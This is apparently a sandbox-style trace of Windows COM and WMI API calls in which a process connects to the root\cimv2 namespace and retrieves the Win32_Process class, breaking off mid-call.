WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0065.302] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0065.302] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0065.302] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0065.302] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0065.302] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0065.303] IUnknown:Release (This=0x111f638) returned 0x1 [0065.304] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x11f9290) returned 0x0 [0065.304] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f9290, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0065.304] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f9290, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x1bf3b580) returned 0x0 [0065.304] WbemDefPath:IUnknown:Release (This=0x11f9290) returned 0x0 [0065.304] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b580, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x1bf3b580) returned 0x0 [0065.305] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b580, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0065.305] WbemDefPath:IUnknown:AddRef (This=0x1bf3b580) returned 0x3 [0065.305] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b580, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0065.305] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b580, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0065.305] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b580, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x11f92d0) returned 0x0 [0065.305] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f92d0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0065.305] WbemDefPath:IUnknown:Release (This=0x11f92d0) returned 0x3 [0065.305] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0065.305] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0065.305] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b580, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0065.305] WbemDefPath:IUnknown:Release (This=0x1bf3b580) returned 0x2 [0065.305] WbemDefPath:IUnknown:Release (This=0x1bf3b580) returned 0x1 [0065.305] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0065.305] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0065.305] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b580, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x1bf3b580) returned 0x0 [0065.305] WbemDefPath:IUnknown:AddRef (This=0x1bf3b580) returned 0x3 [0065.305] WbemDefPath:IUnknown:Release (This=0x1bf3b580) returned 0x2 [0065.305] WbemDefPath:IWbemPath:SetText (This=0x1bf3b580, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0065.306] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b580, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0065.306] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b580, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0065.306] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b580, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0065.306] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0065.306] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0065.306] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0065.306] IUnknown:Release (This=0x111f638) returned 0x1 [0065.307] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x11f93d0) returned 0x0 [0065.307] WbemLocator:IUnknown:QueryInterface (in: This=0x11f93d0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0065.307] WbemLocator:IClassFactory:CreateInstance (in: This=0x11f93d0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x11f93f0) returned 0x0 [0065.307] WbemLocator:IUnknown:Release (This=0x11f93d0) returned 0x0 [0065.307] WbemLocator:IUnknown:QueryInterface (in: This=0x11f93f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x11f93f0) returned 0x0 [0065.307] WbemLocator:IUnknown:QueryInterface (in: This=0x11f93f0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0065.307] WbemLocator:IUnknown:AddRef (This=0x11f93f0) returned 0x3 [0065.307] WbemLocator:IUnknown:QueryInterface (in: This=0x11f93f0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0065.307] WbemLocator:IUnknown:QueryInterface (in: This=0x11f93f0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0065.307] WbemLocator:IUnknown:QueryInterface (in: This=0x11f93f0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0065.307] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0065.308] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0065.308] WbemLocator:IUnknown:QueryInterface (in: This=0x11f93f0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0065.308] WbemLocator:IUnknown:Release (This=0x11f93f0) returned 0x2 [0065.308] WbemLocator:IUnknown:Release (This=0x11f93f0) returned 0x1 [0065.308] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0065.308] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0065.308] WbemLocator:IUnknown:QueryInterface (in: This=0x11f93f0, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x11f93f0) returned 0x0 [0065.308] WbemLocator:IUnknown:AddRef (This=0x11f93f0) returned 0x3 [0065.308] WbemLocator:IUnknown:Release (This=0x11f93f0) returned 0x2 [0065.308] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b580, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0065.308] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b580, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0065.308] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b580, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0065.308] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x11f9410) returned 0x0 [0065.308] WbemLocator:IWbemLocator:ConnectServer (in: This=0x11f9410, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x1bf53b70) returned 0x0 [0065.392] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf53b70, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x1bef08b0) returned 0x0 [0065.392] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bef08b0, pProxy=0x1bf53b70, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0065.392] WbemLocator:IUnknown:Release (This=0x1bef08b0) returned 0x1 [0065.392] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf53b70, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x1bef08f0) returned 0x0 [0065.392] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf53b70, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x1bef08b0) returned 0x0 [0065.392] WbemLocator:IClientSecurity:SetBlanket (This=0x1bef08b0, pProxy=0x1bf53b70, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0065.393] WbemLocator:IUnknown:Release (This=0x1bef08b0) returned 0x2 [0065.393] WbemLocator:IUnknown:Release (This=0x1bef08f0) returned 0x1 [0065.393] CoTaskMemFree (pv=0x1bf3d010) [0065.393] WbemLocator:IUnknown:AddRef (This=0x1bf53b70) returned 0x2 [0065.393] WbemLocator:IUnknown:Release (This=0x11f9410) returned 0x0 [0065.393] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0065.394] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0065.394] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf53b70, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x1bef08c0) returned 0x0 [0065.394] WbemLocator:IRpcOptions:Query (in: This=0x1bef08c0, pPrx=0x11f9470, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0065.394] WbemLocator:IUnknown:Release (This=0x1bef08c0) returned 0x2 [0065.394] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0065.394] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0065.394] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf53b70, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x1bf53b70) returned 0x0 [0065.394] WbemLocator:IUnknown:Release (This=0x1bf53b70) returned 0x2 [0065.394] SysStringLen (param_1=0x0) returned 0x0 [0065.394] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b580, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0065.394] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b580, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0065.394] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b580, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0065.394] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b280, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0065.394] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b280, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0065.395] IWbemServices:GetObject (in: This=0x1bf53b70, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x1bf453f0, ppCallResult=0x0) returned 0x0 [0065.400] IWbemClassObject:Get (in: This=0x1bf453f0, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0065.400] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0065.400] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0065.400] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0065.400] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0065.400] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0065.400] IUnknown:Release (This=0x111f638) returned 0x1 [0065.402] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x11f9410) returned 0x0 [0065.403] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f9410, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0065.403] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f9410, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x1bf3b640) returned 0x0 [0065.403] WbemDefPath:IUnknown:Release (This=0x11f9410) returned 0x0 [0065.403] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b640, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x1bf3b640) returned 0x0 [0065.403] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b640, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0065.403] WbemDefPath:IUnknown:AddRef (This=0x1bf3b640) returned 0x3 [0065.403] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b640, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0065.403] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b640, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0065.403] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b640, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x11f9430) returned 0x0 [0065.403] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f9430, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0065.403] WbemDefPath:IUnknown:Release (This=0x11f9430) returned 0x3 [0065.403] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0065.404] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0065.404] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b640, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0065.404] WbemDefPath:IUnknown:Release (This=0x1bf3b640) returned 0x2 [0065.404] WbemDefPath:IUnknown:Release (This=0x1bf3b640) returned 0x1 [0065.404] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0065.404] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0065.404] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b640, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bf3b640) returned 0x0 [0065.404] WbemDefPath:IUnknown:AddRef (This=0x1bf3b640) returned 0x3 [0065.404] WbemDefPath:IUnknown:Release (This=0x1bf3b640) returned 0x2 [0065.404] WbemDefPath:IWbemPath:SetText (This=0x1bf3b640, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0065.404] IWbemClassObject:Get (in: This=0x1bf453f0, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, 